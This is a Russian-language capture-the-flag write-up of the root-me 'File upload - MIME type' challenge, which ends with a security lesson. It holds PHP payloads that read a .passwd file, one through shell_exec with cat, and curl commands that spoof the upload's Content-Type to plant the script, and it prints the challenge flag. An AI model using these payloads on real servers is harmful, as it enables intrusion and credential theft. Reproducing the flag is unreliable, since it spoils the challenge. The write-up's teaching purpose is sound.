Добавить в корзинуПозвонить
Найти в Дзене

CTF — PHP и MIME type

Задачки по информационной безопасности
Оглавление

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - MIME type". За решение задачки дают 20 баллов, сложнее начального уровня.

-2

В качестве задания предлагается взломать фотогалерею (снова), загрузив код PHP. Флаг следует искать в корневом файле .passwd .

Нам предлагают воспользоваться уязвимостью при загрузке файлов, связанной с проверкой типа файла. Сложно, конечно, это назвать уязвимостью. Проверка MIME типа для того, чтобы определить тип загружаемого файла, не подходит для безопасной загрузки. Дело в том, что MIME тип определяется по полю Content-Type, которое злоумышленник может подменить на стороне браузера и передать серверу.

Ссылки

CTF - Capture The Flag

https://www.root-me.org

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch21/

-3

Мы видим фотогалерею. Интересен раздел upload. Здесь можно загрузить свой файл.

-4

Естественно, загрузить файл с расширением PHP не удастся. Разрешены расширения GIF, JPEG и PNG.

-5

Подготовим PHP файл, который будем загружать в фотогалерею. В прошлом задании была похожая задача, так что файл у меня есть:

CTF — File upload - Double extensions

Внутри файла разместим PHP код, который нам выведет содержимое файла .passwd , например:

<?php $filename = '../../../.passwd' ;
$handle = fopen($filename , "rb" );
$contents = fread($handle , filesize($filename ));
fclose($handle );
echo "<b>$contents</b>" ;
?>

Или:

<?php $output = shell_exec('cat ../../../.passwd' );
echo "<b>$output</b>" ;
?>

Я вставил оба кода, какой-нибудь да сработает.

-6

Файл сохранил как hello.php .

-7

И разместил в директории C:\root-me.

-8

Далее буду работать в командной строке. Пробую загрузить PHP файл в галерею с помощью curl :

curl -i -X POST -F file=@C :/root-me/hello .php http: //challenge01.root-me.org/web -serveur/ch21/?action=upload
-9

В ответ получаю "Wrong file type !". Файл не загружается. Теперь минимальным дополнением к команде меняю MIME тип загружаемого файла на image/gif :

curl -i -X POST -F file="@C:/root-me/hello.php;type=image/gif;" http://challenge01.root-me.org/web-serveur/ch21/?action=upload
-10

О чудо! Файл загрузился. Копирую значение PHPSESSID и возвращаюсь в браузер.

-11

Загруженного файла нет. Подставляю в cookie скопированное значение PHPSESSID, чтобы подцепить сессию curl:

-12

Смотрю в галерею снова.

-13

А вот и файл hello.php. Открываю его.

-14

Скрипт вывел содержимое файла .passwd .

Флаг: a7n4nizpgQgnPERy89uanf6T4

Валидируем.

-15

Флаг подходит, зарабатываем 20 очков.

Безопасность

Определять тип загружаемого файла по MIME type нельзя, это небезопасно.

Источник:
https://internet-lab.ru/ctf_file_upload_mime_type

Если вам понравилась статья, то ставьте 👍🏻 каналу.
Пишите комментарии, задавайте вопросы, подписывайтесь.